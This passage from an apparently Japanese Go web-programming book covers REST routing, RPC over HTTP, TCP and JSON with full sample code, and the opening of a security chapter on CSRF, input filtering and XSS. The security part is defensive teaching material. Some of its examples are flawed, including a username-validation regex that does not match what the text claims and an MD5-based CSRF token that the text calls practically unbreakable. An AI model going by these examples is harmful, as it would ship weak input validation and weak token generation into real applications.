もうひとつ重要なRESTのルールはシステムの分離です。これはモジュールがこれと直接やりとりをしているレイヤのモジュールを除いて解除することができないことを示しています。システムの知りうる内容を単一のレイヤに制限することで、システム全体の複雑さを制限することができます。そのため、低レイヤの独立性を促すことができます。

下の図はRESTのフレームワーク図です：

図8.5 RESTフレームワーク図

RESTフレームワークの制約条件を全体に適用する際、大量のクライアントに向けて拡張できるアプリケーションプログラムを生成することができます。またクライアントとサーバ間のやり取りの遅延も減らします。統一されたインターフェースがシステムフレームワークの全体を簡略化し、サブシステム間のやり取りの見通しを改善します。RESTはクライアントとサーバの実装を簡略化し、RESTを使用して開発されたアプリケーションプログラムをより拡張しやすくします。

下はRESTの拡張性を示しています：

図8.6 RESTの拡張性

RESTfulの実装

GoにはRESTに対する直接のサポートはありません。しかし、RESTfulはHTTPプロトコルに基づいて実装されたものですので、net/httpパッケージを利用することで自分で実装することができます。当然RESTに対していくつか改造を行う必要があります。RESTは異なるmethodによって対応するリソースを処理します。現在すでに存在する多くの自称RESTアプリケーションは、実は本当にRESTを実装しているわけではありません。ここではとりあえずこれらのアプリケーションを実装しているメソッドにしたがっていくつかのレベルに分けてみます、以下の図をご覧ください：

図8.7 RESTのレベル分け

上の図は我々が現在実装しているRESTの３つのlevelを示しています。我々がアプリケーションを開発する時も必ずしも全てのRESTfulのルールをまるっとその方式を実装しているわけではありません。なぜならある時はRESTfulの方式を完全に参照しなくても大丈夫だからです。RESTfulサービスはDELETEとPUTを含む各HTTPの方法を十分に利用します。しかしある時は、HTTPクライアントはGETとPOSTリクエストのみを送信できます：

HTML標準はリンクとフォームを通してのみGETとPOSTをサポートしています。AjaxをサポートしていないウェブブラウザではPUTやDELETEコマンドを送信することはできません。

あるファイアウォールはHTTPのPUTとDELETEリクエスト遮ることがあり、この制限を迂回するにはクライアントの実際のPUTとDELETEリクエストをPOSTリクエストから通していかなくてはなりません。そのためRESTfulサービスは受け取ったPOSTリクエストからオリジナルのHTTPメソッドを探し出す方法と元に戻す方法を行う責任があります。

現在POSTの中において隠されたフィールドである_methodを増加するなどの方法でPUT、DELETEといったメソッドをエミュレートすることができます。しかし、サーバでは変換を行う必要があります。現在私のプロジェクトではこのような方法によってRESTインターフェースを作成しています。当然Go言語では完全にRESTfulに沿った実装を行うのは容易です。下の例を通してどのようにRESTfulなアプリケーションの設計を実現するかご説明しましょう。

package main

import (
    "fmt"
    "github.com/drone/routes"
    "net/http"
)

func getuser(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    uid := params.Get(":uid")
    fmt.Fprintf(w, "you are get user %s", uid)
}

func modifyuser(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    uid := params.Get(":uid")
    fmt.Fprintf(w, "you are modify user %s", uid)
}

func deleteuser(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    uid := params.Get(":uid")
    fmt.Fprintf(w, "you are delete user %s", uid)
}

func adduser(w http.ResponseWriter, r *http.Request) {
    params := r.URL.Query()
    uid := params.Get(":uid")
    fmt.Fprint(w, "you are add user %s", uid)
}

func main() {
    mux := routes.New()
    mux.Get("/user/:uid", getuser)
    mux.Post("/user/:uid", modifyuser)
    mux.Del("/user/:uid", deleteuser)
    mux.Put("/user/", adduser)
    http.Handle("/", mux)
    http.ListenAndServe(":8088", nil)
}

上のコードではどのようにRESTなアプリケーションを書くかご覧いただきました。我々がアクセスするリソースはユーザです。異なるmethodによって異なる関数にアクセスしました。ここではサードパーティライブラリgithub.com/drone/routesを使用しています。前の章でどのように自分で定義したルータを実現するかご紹介しました。このライブラリは自分で定義したルートと便利なルートのルールを反映させます。これを使って簡単にRESTのフレームワークを実装することができます。

まとめ

RESTはフレームワークスタイルの一種です。WWWの成功経験を汲み取っています：ステートレス、リソースを中心とし、HTTPプロトコルとURIプロトコルを十分利用しています。統一したインターフェース定義を提供し、Webサービスを設計する方法の一つとして流行しました。ある意味でURIとHTTPといった黎明期のInternet標準を強調することで、RESTは大型のアプリケーションプログラムサーバ時代の前のWeb方式に回帰しています。今のところGoのRESTに対するサポートはまだシンプルです。自分で定義したルーティングを通して、異なるmethodに異なるhandleを実装することができます。このようにRESTのフレームワークは実現されています。

Generated by md2min

8.4 RPC

RPCの動作原理

Go RPC

HTTP RPC

TCP RPC

JSON RPC

まとめ

前の節でどのようにSocketとHTTPに基づいてネットワークアプリケーションを書くかご紹介しました。SocketとHTTPが採用しているのは“情報交換”パターン、すなわちクライアントがサーバに情報を一つ送信し、その後（一般的に）サーバが一定の情報を返すことでレスポンスとする、ようなものであると理解しました。双方は互いが発生させた情報を解析できるように、クライアントとサーバ間で情報をやり取りする形式が取り決められています。しかし多くの独立したアプリケーションは特にこのようなモデルを採用していません。その代わり通常の関数をコールするのに似た方法で必要となる機能を実現しています。

RPCは関数をコールするモデルをネットワーク化したものです。クライアントはローカルの関数をコールするのと同じように、引数をひっくるめてネットワークを通じてサーバに送信します。サーバでは処理の中でそれを展開し実行します。そして、実行結果をクライアントにフィードバックします。

RPC（Remote Procedure Call Protocol） 、このリモートプロセスのコールプロトコルは、ネットワークを通してリモートコンピュータのプログラムにおいてリクエストするサービスです。低レイヤのネットワーク技術におけるプロトコルを理解する必要はありません。これは何らかの転送プロトコルの存在を仮定します。例えばTCPまたはUDPです。通信を行うプログラム間で情報データを簡単にやりとりすることができます。これを使って関数をコールするモデルをネットワーク化することができます。OSIネットワーク通信モデルで、RPCはデータリンク層とアプリケーション層を飛び越えます。RPCはネットワーク分散型の複数プログラムを含めてアプリケーションプログラムの開発を容易にします。

RPCの動作原理

図8.8 RPCの動作プロセス図

実行時、クライアントマシンがサーバのRPCに対してコールを行うと、そこにはだいたい以下のような10ステップの操作があります：

1.クライアントハンドルをコールする。転送引数を実行する。

2.ローカルシステムのカーネルがネットワーク情報を送信する。

3.情報がリモートホストに送信される。

4.サーバハンドル情報を受け取り、引数を取り出す。

5.リモートプロセスを実行する。

6.実行されたプロセスは結果をサーバハンドルに返す。

7.サーバハンドルは結果を返し、リモートシステムのカーネルをコールする。

8.情報がローカルホストに送信される。

9.クライアントハンドルがカーネルから情報を取得する。

10.クライアントはハンドルが返すデータを受け取る。

Go RPC

Go標準パッケージではすでにRPCをに対するサポートがされています。また、３つのレベルとなるRPC、HTTP、JSONRPCをサポートしています。しかしGoのRPCパッケージは唯一無二のRPCであり、伝統的なRPCシステムとは異なります。これはGoが開発したサーバとクライアント間のやりとりのみをサポートします。なぜなら内部ではGoを採用してエンコードされているからです。

Go RPCの関数は以下の条件に合致した時のみリモートアクセスされます。そうでないものは無視されます。細かい条件は以下の通り：

関数はエクスポートされていなければなりません。(頭文字が大文字)

２つのエクスポートされた型の引数が必要です。

はじめの引数は受け取る引数、２つ目の引数はクライアントに返す引数です。２つ目の引数はポインタ型でなければなりません。

関数はさらに戻り値errorを持っています。

例を挙げましょう。正しいRPC関数では以下のような形式になります：

func (t *T) MethodName(argType T1, replyType *T2) error

T、T1とT2型はかならずencoding/gobパッケージによってエンコード/デコードできなければなりません。

いかなるRPCもネットワークを通じてデータを転送します。Go RPCはHTTPとTCPによってデータを転送することができます。HTTPを利用するメリットは直接net/httpの中のいくつかの関数を再利用することができるということです。詳細な例は以下をご覧ください。

HTTP RPC

httpのサーバコードは以下の通り：

package main

import (
    "errors"
    "fmt"
    "net/http"
    "net/rpc"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)
    rpc.HandleHTTP()

    err := http.ListenAndServe(":1234", nil)
    if err != nil {
        fmt.Println(err.Error())
    }
}

上の例を見ると、ArithのRPCサーバを登録しており、rpc.HandleHTTP関数を使ってこのサービスをHTTPプロトコルに登録し、httpのメソッドを使ってデータを転送することができるとわかります。

下のクライアントのコードをご覧ください：

package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server")
        os.Exit(1)
    }
    serverAddress := os.Args[1]

    client, err := rpc.DialHTTP("tcp", serverAddress+":1234")
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

我々は上のサーバとクライアントのコードを別々にコンパイルして、先にサーバ側を起動し、その後クライアントを起動して、コードを入力し、以下のような情報が出力されました：

$ ./http_c localhost
Arith: 17*8=136
Arith: 17/8=2 remainder 1

上のコールにおいて引数と戻り値は我々が定義したstruct型であると確認できます。サーバではこれらをコールする関数の引数の型とみなしています。クライアントではclient.Callの第二、第三のふたつの引数の型となります。クライアントで最も重要なのはこのCall関数です。これは３つの引数を持っています。はじめの引数はコールする関数の名前、２つ目は転送する引数、３つ目は戻り値の参照（これはポインタ型です）となります。上のコードを通して、GoでRPCを実装するのは非常に簡単で便利であるとお分かりいただけたかと思います。

TCP RPC

上ではHTTPプロトコルに基づくRPCを実現しました。以降ではTCPプロトコルに基づいたRPCを実現します。サーバで実装されるコードは以下の通り：

package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)

    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
    checkError(err)

    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)

    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        rpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}

上のコードはhttpのサーバと比べ、以下の点が異なっています：ここではTCPプロトコルを採用しています。自分で接続をコントロールする必要があり、クライアントが接続した場合に、この接続をrpcに渡して処理する必要があります。

これはブロッキング型の単一のユーザのプロセスだとお気づきかもしれません。もしマルチスレッドを実装したい場合、goroutineを使って実現することができます。前のsocket節ですでにどのようにgoroutineを処理するかご紹介しました。 以下ではTCPで実現するRPCクライアントをお見せします：

package main

import (
    "fmt"
    "log"
    "net/rpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        os.Exit(1)
    }
    service := os.Args[1]

    client, err := rpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

このクライアントコードとhttpのクライアントコードを比較した場合、唯一の違いはDialHTTPです。もう片方はDial(tcp)で、その他の処理は全く同じです。

JSON RPC

JSON RPCはデータエンコードにJSONを採用しております。gobエンコードではありません。その他は上でご紹介したRPCの概念と全く同じです。以下ではどのようにGoが提供するjson-rpc標準パッケージを使うかご説明します。サーバのコードの実装をご覧ください：

package main

import (
    "errors"
    "fmt"
    "net"
    "net/rpc"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

type Arith int

func (t *Arith) Multiply(args *Args, reply *int) error {
    *reply = args.A * args.B
    return nil
}

func (t *Arith) Divide(args *Args, quo *Quotient) error {
    if args.B == 0 {
        return errors.New("divide by zero")
    }
    quo.Quo = args.A / args.B
    quo.Rem = args.A % args.B
    return nil
}

func main() {

    arith := new(Arith)
    rpc.Register(arith)

    tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234")
    checkError(err)

    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)

    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        jsonrpc.ServeConn(conn)
    }

}

func checkError(err error) {
    if err != nil {
        fmt.Println("Fatal error ", err.Error())
        os.Exit(1)
    }
}

json-rpcはTCPプロトコルにもとづいて実装されていることがお分かりいただけるかと思います。現在はまだHTTPメソッドをサポートしていません。

クライアントのコードをご覧ください：

package main

import (
    "fmt"
    "log"
    "net/rpc/jsonrpc"
    "os"
)

type Args struct {
    A, B int
}

type Quotient struct {
    Quo, Rem int
}

func main() {
    if len(os.Args) != 2 {
        fmt.Println("Usage: ", os.Args[0], "server:port")
        log.Fatal(1)
    }
    service := os.Args[1]

    client, err := jsonrpc.Dial("tcp", service)
    if err != nil {
        log.Fatal("dialing:", err)
    }
    // Synchronous call
    args := Args{17, 8}
    var reply int
    err = client.Call("Arith.Multiply", args, &reply)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply)

    var quot Quotient
    err = client.Call("Arith.Divide", args, &quot)
    if err != nil {
        log.Fatal("arith error:", err)
    }
    fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem)

}

まとめ

GoはすでにRPCに対して良いサポートを提供しています。上のHTTP、TCP、JSON RPCの実装を通して、多くの分散型のWebアプリケーションの開発を簡単に行うことができます。読者であるあなたはすでにここまでマスターしたものと思われます。ただ残念なことに現在GoはまだSOAP RPCのサポートを提供していません。幸い現在すでにサードパーティのオープンソースで実現されています。

Generated by md2min

8.5 まとめ

この章では現在流行しているいくつかの主なネットワークアプリケーションの開発方法についてご紹介しました。第一節ではネットワークプログラミングの基礎をご紹介しました。Socketプログラミングです。なぜなら現在ネットワークはクラウドの方向に急速に進化しています。この技術で展開されるsocket知識の基礎は開発者としてマスターしておかなければなりません。第二節では現在流行しつつあるHTML5の重要な特徴であるWebSocketについてご紹介しました。これを使うとサーバは主導的に情報をpushできるようになります。昔のajaxポーリングパターンの簡略化も述べました。第三節ではRESTプログラミングパターンをご紹介しました。これらのパターンは特にネットワークアプリケーションAPIの開発に適しています。上の四種類の開発方法において、Goはすでに良いサポートを提供しています。netパッケージおよびそのサブパッケージはいずれもネットワークプログラミングのツールの在り処を含んでいます。もしより詳しく関連する実装の詳細に足を踏み入れるのであれば、このパッケージのソースコードを試しに読んでみてください。

Generated by md2min

9 セキュリティと暗号化

目次

Webアプリケーションの開発者にとっても、Webアプリケーションのセキュリティホールの攻撃者も、Webアプリケーションのセキュリティという話題に対してはますます熱い視線を送っています。特に最近のCSDNのパスワード漏洩事件によって我々はWebセキュリティという話題により注視するようになっています。パスワードの話をするとみんな顔色が変わります。みんな自分のシステムにセキュリティホールがないか検査し始めました。Goプログラムの開発者として、我々のアプリケーション・プログラムがいつでも大多数の攻撃者の目標となりうることを知っておかなければなりません。前もって防御する準備を整えておかなければなりません。

Webアプリケーションプログラムのセキュリティ問題の理由の多くは軽々しく第三者からもたらされたデータを信じてしまうことにあります。例えばユーザの入力したデータに対して、これに対し検証を行う前はすべて安全ではないデータであるとみなさなければなりません。もしこれらの安全ではないデータをクライアントに出力すると、クロスサイトスクリプティング(XSS)の問題を引き起こしかねません。もし安全ではないデータをデータベースの検索に使用すると、SQLインジェクションの問題を引き起こす可能性があります。我々は9.3、9.4節においてどのようにこれらの問題を避けるかについてご紹介します。

ユーザの提供するデータなど第三者が提供したデータを使用する際、まずこれらのデータの合法性を検証することは非常に重要です。これらのプロセスをフィルタリングと呼びます。9.2節においてどのようにすべてのデータに対してフィルタリングを行うかご紹介します。

入力のフィルタリングと出力のエスケープはすべての問題を解決するわけではありません。9.1節でCSRFアタックについてご紹介します。ターゲットが攻撃者の指定するリクエストを送ってしまうことで破壊を発生させる可能性があります。

セキュリティ暗号化では、我々のWebアプリケーションプログラムを強化できる強力な手段が暗号化です。CSDN漏洩事件はパスワードを平文で保存していたことによるものです。攻撃者がデータベースを取得した後直接いくつかの破壊行為が実施できてしまいました。しかし、他のツールと同じく暗号化手段もしっかりしていなければなりません。9.5節ではどのようにパスワードを保存し、パスワードを安全に保存するかご紹介します。

暗号化の本質はデータをかき乱すことにあります。ある逆算不可能なデータの撹拌を単方向暗号化もしくはハッシュアルゴリズムと呼びます。また双方向の暗号化方式もあります。暗号化したデータを逆に復号することができます。9.6節でどのようにしてこのような双方向の暗号化方式を実現するかご紹介します。

目次

Generated by md2min

9.1 CSRF攻撃の予防

CSRFとは何か

CSRFの原理

どのようにしてCSRFを予防するか

まとめ

CSRFとは何か

CSRF（Cross-site request forgery）、我々の言語では：“跨站请求伪造（クロスサイトリクエストフォージェリ）”といいます。またone click attack/session ridingとも呼び、短縮して：CSRF/XSRFとなります。

CSRFではいったいなにができるのでしょうか？このように簡単に理解することができます：攻撃者はあなたのログイン情報を盗用することができ、あなたの身分であらゆるリクエストを送りつけることができます。例えばQQ等チャットソフトウェアを使ってリンク(URL短縮などで偽装したものもあり、ユーザは判別できません)を発信するなど、少しばかりのソーシャルエンジニアリングの罠を仕掛けるだけで攻撃者はWebアプリケーションのユーザに攻撃者が設定した操作を行わせることができます。たとえば、ユーザがインターネット銀行にログインし口座の残高を調べる場合、ログアウトしていない間にQQのフレンドから発信されたリンクをクリックするとします。すると、このユーザの銀行アカウントの資金は攻撃者が指定した口座に振り込まれてしまう可能性があります。

そのためCSRF攻撃を受けた時、エンドユーザのデータと操作コマンドは重大なセキュリティ問題となります。攻撃を受けたエンドユーザが管理者アカウントを持っていた場合、CSRF攻撃はWebアプリケーションプログラムの全体の危機となります。

CSRFの原理

下の図で簡単にCSRF攻撃の思想をご説明します

図9.1 CSRFの攻撃プロセス

上の図から、CSRF攻撃を一回成功させるには被害者が２つのステップを踏まなければならないことがわかります：

1.ログインがページAでの信任を受け、ローカルでCookieを生成する。

2.Aをログアウトしていない状態で、危険なページBにアクセスする。

ここまでで読者は次のように思われるかもしれません：“もし上の２つの条件のうち任意の一つを満足していなければ、CSRFの攻撃をうけることはない”。そうです。たしかにその通り、しかし以下の状況が発生しないことを保障することはできません：

あるページにログインしたあと、もうひとつtab画面を開き別のページにアクセスしないとは保証できません。特に最近のブラウザはどれもtabをサポートしています。

ブラウザを閉じたあと、ローカルのCookieがすぐに有効期限を迎えるとは限りません。前のセッションがすでに終了していることを保証できません。

上の図で示した攻撃ページは、その他のセキュリティホールを抱えた信用できるよくアクセスされるページであることがあります。

その為、ユーザにとってあるページにログインした後なんらかのリンクをクリックしてその他の操作を避けることはとても難しいのです。ですから、いつでもCSRFの被害者になる可能性があります。

CSRF攻撃の主な原因はWebの隠された身分検証メカニズムにあります。Webの身分検証メカニズムはあるリクエストがあるユーザのブラウザからやってきたものであることを保証することはできますが、このリクエストがユーザの承認によって送信されたものであることを保証できません。

どのようにしてCSRFを予防するか

上の紹介で、読者はこのような攻撃が非常に恐ろしいと思われたのではないでしょうか。恐怖を意識するのはいいことです。どのようにして似たようなセキュリティホールの出現を防止/改善し、以降の内容を引き続き読み進めていくことを促してくれます。

CSRFの防御はサーバとクライアントの両方から着手することができます。防御はサーバから手をつけるのが効果的です。現在一般的なCSRF防御はどれもサーバで行われます。

サーバでCSRF攻撃を予防する方法にはいくつかありますが、思想上はどれも大差ありません。主に以下の２つの方面から行われます：

1、GET,POSTとCookieを正しく使用する

2、GETでないリクエストで擬似乱数を追加する

前の章でRESTメソッドのWebアプリケーションをご紹介しました。一般的には普通のWebアプリケーションはどれもGET、POSTがメインで、もう一種類のリクエストはCookie方式です。我々は一般的に以下の方法でアプリケーションを設計します：

1、GETは閲覧、列挙、表示といったリソースを変更する必要のない場合に限ります

2、POSTは注文を行い、リソースに変更を加えたりといった状況に限ります

ではGo言語を使って例をご説明します。どのようにしてリソースのアクセス方法を制限するのでしょうか：

mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)

このように処理すると、修正にはPOSTのみに限定しているため、GETメソッドでリクエストした際レスポンスを拒絶します。そのため、上の図で示したGETメソッドのCSRF攻撃は防止されます。しかしこれですべて問題は解決されたのでしょうか？当然そうではありません。POSTも同じだからです。

そのため、第二ステップを実施する必要があります。GETでないメソッドのリクエストにおいてランダムな数を追加します。これはだいたい三種類の方法によって実行されます：

各ユーザにユニークなcookie tokenをひとつ生成します。すべてのフォームは同じ擬似乱数を含んでいます。この方法は最も簡単です。なぜなら攻撃者は第三者のCookieを(理論上は)取得することができず、そのため、フォームのデータを構成することができません。しかしユーザのCookieはページのXSSセキュリティホールによって容易に盗まれてしまいます。そのため、この方法はかならずXSSがない状況で安全だといえます。

各リクエストでCAPTCHAを使用します。この方法は完璧です。複数回CAPTCHAを入力する必要がありますので、ユーザビリティは非常に悪く実際の運用には適しません。

異なるフォームにそれぞれ異なる擬似乱数を含ませます。4.4節でご紹介した”どのようにしてフォームの複数送信を防止するか"で、この方法をご紹介しました。関連するコードを再掲します：

ランダムなtokenを生成します

h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))

t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)

tokenを出力

<input type="hidden" name="token" value="{{.}}">

tokenを検証

r.ParseForm()
token := r.Form.Get("token")
if token != "" {
    //tokenの合法性を検証
} else {
    //tokenが存在しない場合はエラーを発生
}

このように基本的には安全なPOSTを実現しました。しかしもしtokenのアルゴリズムが暴かれてしまったらと思われるかもしれません。しかし理論上は破られることは基本的に不可能です。ある人が計算したところ、この文字列を無理に破るにはだいたい2の11乗の時間が必要です。

まとめ

クロスサイトリクエストフォージェリ、すなわちCSRFは非常に危険なWebセキュリティ問題です。Webセキュリティ界隈では“眠れる巨人”と呼ばれています。リスクレベルはこの“肩書き”を見ればお分かりでしょう。この節ではクロスサイトリクエストフォージェリの紹介にとどまらず、このようなセキュリティホールを生み出す原因の所在についても詳しくご説明しました。これでもって攻撃への防御を促し、読者に安全なWebアプリケーションを書いていただけますよう望んでいます。

Generated by md2min

9.2 入力フィルタリングの確保

データの識別

データのフィルタリング

データのフィルタリングの区別

まとめ

ユーザのデータをフィルタリングするのはWebアプリケーションセキュリティの基礎です。これはデータの合法性を検証するプロセスです。すべての入力データに対してフィルタリングを行うことで、悪意あるデータがプログラム中に誤って信用され使用されるのを防ぐことができます。大部分のWebアプリケーションのセキュリティホールはどれもユーザが入力したデータに対して適切なフィルタを行わなかったことによるものです。

我々がご紹介するデータのフィルタリングは３つのステップに分かれています：

1、データを識別し、フィルタリングすべきデータがどこから来たのかはっきりさせる

2、データをフィルタリングし、どのようなデータが必要なのか明らかにする

3、フィルタリングされ汚染されたデータを区別し、もし攻撃データが存在する場合はフィルタリング後我々がより安全なデータを使用するよう保証する

データの識別

“データの識別”の第一歩では“データが何か、どこから来たのか”を知らないという前提があるため、これを正確にフィルタリングすることができません。ここでいうデータとはコードの内部以外から提供されているすべてのデータを指します。例えば：すべてのクライアントからのデータ、ただしクライアントだけが唯一の外部データ元ということではありません。データベースと第三者が提供するインターフェースデータ等も外部データ元となりえます。

ユーザが入力したデータはGoを使って非常に簡単に識別することができます。GoはrParseFormを使って、ユーザのPOSTとGETのデータをすべてr.Formの中に保存します。その他の入力は識別するのがとてもむずかしくなります。例えばr.Headerの中の多くの要素はクライアントが操作しています。この中のどの要素が入力となっているかは確認するのが難しく、そのため最良の方法は中のすべてのデータをユーザの入力とみなしてしまうことです。(例えばr.Header.Get("Accept-Charset")といったものも大多数はブラウザが操作しているものの、ユーザの入力とみなします。)

データのフィルタリング

データの発生源を知っていれば、フィルタリングを行うことができます。フィルタリングというのは少し正式な専門用語で、普段使われる言葉では多くの同義語が存在します。たとえば検証、クリーニング、サニタイズといったものです。これらの専門用語は表面的な意味は異なりますが、いずれも同じ処理のことを指しています。望ましくないデータがあなたのアプリケーションに入ってくるのを防止します。

データのフィルタリングには多くの方法があります。そのうちいくつかは安全性に乏しく、最良の方法はフィルタリングを検査のプロセスとみなしてしまうことです。あなたがデータを使用する前に、合法的なデータに合致したリクエストであるか検査し、気前よく非合法なデータを糾弾しようとはせず、ユーザに規定のルールでデータを入力させることです。非合法なデータを糾弾することは往々にしてセキュリティ問題を引き起こすことを歴史が証明しています。例をあげましょう：“最近銀行システムのアップグレードがあった後、もしパスワードの後ろ二桁が0であった場合、前の四桁を入力するだけでシステムにログインできます”。これは非常に重大なセキュリティホールです。

データのフィルタリングは主に以下のようなライブラリを採用することで操作されます：

strconvパッケージの文字列変換関連の関数。Requestの中のr.Formが返すのは文字列であり、時々これを整数または浮動小数点数に変換する必要がありますから、Atoi、ParseBool、ParseFloat、ParseIntといった関数を利用することができます。

stringパッケージのいくつかのフィルタリング関数Trim、ToLower、ToTitleといった関数。我々が指定する形式にしたがってデータを取得することができます。

regexpパッケージを使って複雑な要求を処理します。例えば入力がEmailかどうかや誕生日かどうかを判断します。

データのフィルタリングは検査や検証を除いて、特殊な場合ホワイトリストを採用することができます。つまり例えばあなたが今検査しているデータが合法であると証明されないかぎり、どれも非合法であったとします。この方法ではもしエラーが発生すると合法的なデータを非合法であるとするかもしれませんが、その逆はありません。どのようなエラーも犯さないと思っていても、このようにすることは非合法なデータを合法としてしまうよりもずっと安全です。

データのフィルタリングの区別

もし上の２ステップが完了すると、データフィルタリングの作業は基本的に完了です。しかしWebアプリケーションを書いている時我々はすでにフィルタリングして汚染されているデータを区別する必要があります。なぜならこのようにすることでデータのフィルタリングの完全性を保証し、入力したデータには影響を与えないようにすることができるからです。我々はすべてのフィルタリングされたデータをグローバルなMap変数(CleanMap)の中に保存します。この時２つの重要なステップで汚染されたデータが注入されるのを防ぐ必要があります： - 各リクエストはCleamMapを空のMapとして初期化する必要があります。 - 検査を加えて外部のデータ元の変数がCleanMapとされるのを阻止する。

続けて、例を一つ挙げてこの概念を強固にしましょう。下のフォームをご覧ください

<form action="/whoami" method="POST">
    あなたは誰ですか：
    <select name="name">
        <option value="astaxie">astaxie</option>
        <option value="herry">herry</option>
        <option value="marry">marry</option>
    </select>
    <input type="submit" />
</form>

このフォームのプログラムロジックを処理している時に、非常に簡単に犯してしまう間違いは３つの選択肢の一つだけが送信されると思い込んでしまうことです。攻撃者はPOST操作をいじることができますから、name=attackといったデータを送信できます。そのため、この時ホワイトリストににた処理を行う必要があります。

r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
    CleanMap["name"] = name
}

上のコードではCleamMapという変数をひとつ初期化しています。取得したnameがastaxie、herry、marry`の３つの打ちの一つだと判断した後、データをCleanMapに保存します。このようにCleanMap[“name”]のなかのデータが合法であると保証することができます。そのためコードの他の部分にもこれを使用します。当然else部分に非合法なデータの処理を追加してもかまいません。再度フォームを表示しエラーを表示するといったこともできます。しかしフレンドリーに汚染されたデータを出力してはいけません。

上の方法はすでに知っている合法な値のデータをフィルタリングするのには有効ですが、すでに合法な文字列で構成されていると知っているデータをフィルタリングする場合はなんの助けにもなりません。例えば、ユーザ名をアルファベットと数字のみから構成させたいとする場合です：

r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok {
    CleanMap["username"] = username
}

まとめ

データのフィルタリングはWebセキュリティにおいて基礎となる作用です。多くのセキュリティ問題はデータのフィルタリングと検証を行わなかったことによるものです。例えば前の節のCSRF攻撃と以降に説明するXSS攻撃、SQLインジェクション等はどれも真面目にデータをフィルタリングしなかった事によって引き起こされます。そのため、この部分の内容は特に重視する必要があります。

Generated by md2min

9.3 XSS攻撃の回避

XSSとは何か

XSSの原理

どのようにしてXSSを予防するか

まとめ

インターネット技術の発展に伴って、現在のWebアプリケーションはどれも大量の動的なコンテンツを含ませることでユーザビリティを高めています。いわゆる動的なコンテンツとは、アプリケーション・プログラムがユーザの環境とユーザのリクエストに従って対応するコンテンツを出力することをいいます。動的なホームページは“クロスサイトスクリプティング攻撃（Cross Site Scripting, セキュリティ専門家は通常これを省略してXSSと呼びます）”の脅威を受ける可能性があります。性的なホームページは完全にこの影響を受けません。

XSSとは何か

XSS攻撃：クロスサイトスクリプティング(Cross-Site Scripting)。カスケーディングスタイルシート(Cascading Style Sheets, CSS)の省略と混同しないようにクロスサイトスクリプティングはXSSと省略されます。XSSはよく見かけるセキュリティホールの一種です。これは攻撃者が悪意のあるコードを他のユーザが使用しているページに埋め込むことを許してしまいます。多くの攻撃(一般には攻撃者と被害者のみに影響します)とは異なりXSSは第三者に及びます。すなわち、攻撃者、クライアントとWebアプリケーションです。XSSの攻撃目標はクライアントに保存されたcookieの奪取またはクライアントの身分を識別する慎重に扱うべき情報を使う他のページです。一旦合法的なユーザの情報が取得されると、攻撃者は合法的なユーザを装ってページに対してやりとりを行うことができるようになります。

